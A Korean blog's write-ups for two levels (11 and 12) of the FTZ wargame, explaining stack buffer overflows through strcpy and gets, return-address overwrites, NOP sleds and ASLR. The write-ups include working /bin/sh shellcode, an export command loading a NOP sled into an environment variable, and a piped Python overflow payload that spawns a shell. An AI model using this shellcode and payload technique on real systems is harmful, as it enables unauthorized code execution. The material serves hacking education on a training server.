해킹/FTZ 11~20 - 10

  1. FTZ_level12 2016.01.13
  2. FTZ_level11 2016.01.13

FTZ_level12

해킹/FTZ 11~20 2016. 1. 13. 16:50


level12의 소스코드다. level11과 거의 동일한 문제이나 argv가 아닌 gets로 입력을 받고있다.

이것은 파이프를 사용해 입력을 전달할 수 있냐고 묻는 문제이다. '|'(파이프)는 좌측의 표준출력을 우측의 표준입력으로 사용하겠다 이것이다.


예시를 보여주기 위헤 tmp에서 파일 몇개를 만들어봤다.

첫줄처럼 ls를 했을 경우에는 표준출력을 통해서 a.txt부터 test.txt까지 모든 파일들을 보여준다.

여기서 파이프를 사용해 ls | grep test를 해주면 ls의 표준출력인 위 파일 목록들이 grep 프로세스에 표준입력으로 들어가면서 grep 프로세스는 ls의 결과중에서 test라는 패턴에 일치하는 test1과 test.txt를 보여준 것이다.


마찬가지로

(파이썬 페이로드;cat)|./attackme 를 하게되면 앞의 페이썬 페이로드의 결과값을 cat을 통해 읽은 표준 출력값이 attackme 프로그램에 표준 입력값으로 들어가게 된다.


이 페이로드를 제외하고 나머지는 level11과 동일하다. 환경변수에 놉 1000개+쉘코드를 넣고, 페이로드로 a*268+쉘코드 주소


export oxqo=`python -c 'print "\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


(python -c 'print "a"*268+"\x02\xd9\xff\xbf"';cat)|./attackme


위 두개를 입력해주면..





쉘이 조금 티안나게 뜨긴 했지만 my-pass가 성공했다.

끝-


'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level16  (0) 2016.01.13
FTZ_level15  (0) 2016.01.13
FTZ_level14  (0) 2016.01.13
FTZ_level13  (0) 2016.01.13
FTZ_level11  (0) 2016.01.13
Tags
Social

FTZ_level11

해킹/FTZ 11~20 2016. 1. 13. 16:04


cat hint를 하면서 시작.

어떤 c언어 코드로 보이는데 이런류의 문제를 풀어본 사람이라면 확인할 것도 없이 attackme 프로그램의 소스코드라는 것을 안다.

앞으로 FTZ에서 계속 나올 패턴이므로 그냥 숙지하고 넘어가면 된다.


소스코드를 보아하니 argv를 strcpy하는 전형적인 오버플로우 취약점을 나타내고 있다.

strcpy는 바운더리 체크가 되지 않고 argv역시 문자열을 길이제한 없이 받는다.

따라서 사용자는 제약없이 마음대로 메모리의 스텍영역을 변조할 수 있다.


그중에서도 쉽게 프로세스의 흐름을 바꿔버릴 수 있는 영역이 리턴 영역인데..

이부분은 함수가 종료하기 전 에필로그를 진행하며 eip레지스터에 들어가서.. 함수 종료후 어느 부분을 실행할지 결정하는 중요한 부분이다.


상당부분 SFP의 역할에 중점을 둔 포스팅이긴 하지만 함수의 프롤로그와 에필로그에 관련된 내 포스팅의 주소를 첨부한다.

함수의 프롤로그와 에필로그에 관한 고찰 + FAKE EBP(실패)


에... 디버깅에 들어가기 전에 한가지 더 설명을 하자면.

이 FTZ 서버에는 ASLR이라는 메모리 보호기법이 걸려있다. 

ASLR의 개념


쉽게 말해서 스텍 주소가 랜덤이 되는 것인데, 이 ASLR이라는 것이 왜 방해가 되냐하면.... 

내가 원하는 공격 명령어를 어딘가 넣어준 후 리턴 영역을 변조해서 그것을 실행하도록 만들어야 하기 때문이다.

그런데 공격 명령어를 넣어줘봤자 어디 들어가있는지 모르면 리턴주소를 그부분으로 바꿔줄 수가 없다.


이 공격 명령어는 역시 대부분의 경우 '쉘코드'라고 하는 것인데. 쉡게말해서 setreuid(~~); system("/bin/sh");이런 프로그램을 기계어로 늘어놓은 것이라고 보면 된다. 이 과정에서 어셈블리로 바꾸고 널을 없애주고 여러 처리를 거치는데 그부분은 나중에 따로 포스팅에서 다루겠다.

아 대부분의 경우 쉘코드인 이유는 쉘만 띄우면 원하는 명령어를 자유롭게 실행할 수 있기 때문이다.




자 이제 대략적인 배경설명이 끝났으니 문제를 풀기위한 전략을 세우자면

1.쉘을 실행시켜주는 명령어를 어딘가 넣고.

2.ASLR로 인해 주소를 알수 없는 문제를 해결한다.

3.스텍을 변조해서 리턴 영역에 이 명령어의 주소를 넣어준다.

이렇게 될것이다.


우선 1번은 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 라는 25바이트 쉘코드를 사용할 것이다. 쉘코드 작성법은 나중에 따로 다루겠다.


2.ASLR이 야기하는 문제를 해결해야 하는데... 가장 간단하게 32비트 운영체제에서 aslr을 우회하기 위해서는 ulimit -s unlimited를 하는 방법이 있는데 FTZ 서버에서는 어째선지 먹히지 않는다.

그래서 사용할 방법은 0x90 : nop이라는 값을 이용하는 것이다. 이 nop이라는 것도 하나의 명령어로 취급되는데 이 명령어를 만나면 컴퓨터는 아무 연산도 하지 않고 그냥 eip만 다음 명령어로 넘어간다. 그 뒷부분에서 다음 명령어를 찾는 것이다. 아마 싱크를 맞추기 위해 있는게 아닌가 싶은데...

아무튼 이 0x90을 아주 많이 늘어놓고 그 뒤에 쉘코드를 붙여놓으면 수많은 0x90중 어느 한 부분만 리턴주소가 가르키게 되도 쭉 아래로 내려가서 결국은 쉘코드를 실행시켜줄 것이다. 즉 커다란 완충지대를 만들어 놓고 그안에 리턴주소가 들어갈 확률이 높아지게 만드는 것이라고 이해하면 되겠다.


3번을 위해서는 먼저 디버깅이 필요하다. attackme 파일을 gdb에서 열어봤다.



에... level9부분에서 이런 문제에 대한 디버깅 팁을 살짝 저어뒀는데... 다시 리바이벌 하자면 call 위주로 살펴보면서 그 call 명령어 이전에 스텍에 push되는 인자값들을 유심히 보면 된다.

보아하니 strcpy를 call 하기 전에 ebp-264부분이 eax를 통해 인자로 들어가는데 이부분이 str 변수의 영역이 자명해 보인다.

ebp 주소의 뒷쪽으로는 4바이트의 sfp와 4바이트의 rtn이 있을 것이므로 ebp-264바이트부터 SFP까지 268개를 의미없는 문자들로 채워넣고 4바이트를 리턴에 들어갈 주소로 넣어주면 되겠다.

즉 argv[1]에 268바이트의 문자열+4바이트의 공격코드 주소를 넣어주면 strcpy는 길이체크를 하지 않기때문에 ebp-264부터 272글자를 옮겨적으면서 리턴주소를 변조해 버릴 것이다. 


자 이제 리턴을 변조할 방법을 찾아냈으니 공격코드를 넣어주고 그 주소를 구해보자. 여기서는 환경변수를 이용할 건데 가장 초보적인 방법이지만 이때 아니면 별로 쓸일도 없으니 한번 써보도록 하자.


먼저 이렇게 해서 만개의 nop+쉘코드를 oxqo라는 환경변수에 집어넣었다. 이제 이 환경변수가 대략 어디쯤 들어가는지 알아야하는데...



이런 프로그램을 만들어서 oxqo라는 환경변수의 주소를 알수 있다. 프로그램을 돌려보면


0xbfffd51a에 공격코드가 들어가 있다. 여기서 Image base값이 랜덤하게 더해지면서 주소가 바뀔테니 10000개의 놉 중에 5000정도 더한 중간지점을 택해서 넣어주자.  0xbfffd51a+5000=0xbfffe8a2이다. 리턴 영역에 이 주소가 들어가게 페이로드를 작성하면 된다.



위에서 설명했듯이 268개의 더미 + 쉘코드 주소 페이로드로 쉘을 여는데 성공했다.

플래그 출력화면은 생략.

끝-



ps. 앞으로는 이렇게 세세하게 적어놓는거 그만둬야겠다.. 너무 힘들고 오래걸린다.



'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level16  (0) 2016.01.13
FTZ_level15  (0) 2016.01.13
FTZ_level14  (0) 2016.01.13
FTZ_level13  (0) 2016.01.13
FTZ_level12  (0) 2016.01.13
Tags
Social